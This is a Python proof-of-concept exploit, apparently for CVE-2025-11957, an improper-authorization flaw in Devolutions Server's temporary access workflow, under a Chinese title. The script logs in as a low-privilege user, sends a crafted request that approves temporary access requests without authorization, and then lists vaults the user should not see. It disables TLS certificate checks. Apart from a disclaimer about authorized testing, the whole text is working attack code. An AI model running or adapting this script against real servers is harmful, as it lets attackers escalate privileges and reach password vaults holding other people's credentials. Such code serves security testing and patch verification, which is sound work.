CVE-2025-11957 Devolutions Server临时访问授权不当漏洞

#!/usr/bin/env python3 """ CVE-2025-11957 PoC - Devolutions Server Improper Authorization This PoC demonstrates the improper authorization vulnerability in Devolutions Server's temporary access workflow. Use only for authorized security testing. """ import requests import json import sys # Configuration TARGET_URL = "https://target-devolutions-server.local" ATTACKER_USERNAME = "low_privilege_user" ATTACKER_PASSWORD = "password123" TARGET_USER_ID = "victim_user_id" def authenticate(): """Authenticate as a low-privilege user""" session = requests.Session() login_url = f"{TARGET_URL}/api/security/login" credentials = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(login_url, json=credentials, verify=False) if response.status_code == 200: print(f"[+] Successfully authenticated as {ATTACKER_USERNAME}") return session else: print(f"[-] Authentication failed: {response.status_code}") return None def exploit_improper_authorization(session): """Exploit improper authorization to approve temporary access requests""" # Step 1: Create or identify a temporary access request print("[*] Step 1: Identifying temporary access requests...") list_requests_url = f"{TARGET_URL}/api/temporary-access/requests" response = session.get(list_requests_url) if response.status_code != 200: print(f"[-] Failed to list requests: {response.status_code}") return False requests_data = response.json() # Step 2: Exploit improper authorization to approve own or others' requests print("[*] Step 2: Exploiting improper authorization...") approve_url = f"{TARGET_URL}/api/temporary-access/approve" # Craft malicious API request to approve access exploit_payload = { "requestId": requests_data[0]['id'] if requests_data else "target_request_id", "userId": TARGET_USER_ID, # Attacker can approve requests without proper authorization "approvedBy": ATTACKER_USERNAME, "notes": "Approved via crafted API request" } response = session.post(approve_url, json=exploit_payload, verify=False) if response.status_code in [200, 201]: print("[+] Successfully approved temporary access request (VULNERABLE!)") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False def access_unauthorized_resources(session): """Access vaults and entries after successful exploitation""" print("[*] Step 3: Accessing unauthorized vaults and entries...") vaults_url = f"{TARGET_URL}/api/vaults" response = session.get(vaults_url, verify=False) if response.status_code == 200: vaults = response.json() print(f"[+] Found {len(vaults)} vaults (including previously unauthorized ones)") for vault in vaults: print(f" - {vault['name']} (ID: {vault['id']})") return True else: print(f"[-] Failed to access vaults: {response.status_code}") return False def main(): print("="*60) print("CVE-2025-11957 PoC - Devolutions Server") print("Improper Authorization in Temporary Access Workflow") print("="*60) # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings() # Authenticate as low-privilege user session = authenticate() if not session: sys.exit(1) # Exploit the vulnerability if exploit_improper_authorization(session): # Access unauthorized resources access_unauthorized_resources(session) print("\n[*] PoC completed") print("[!] This is for authorized security testing only") if __name__ == "__main__": main()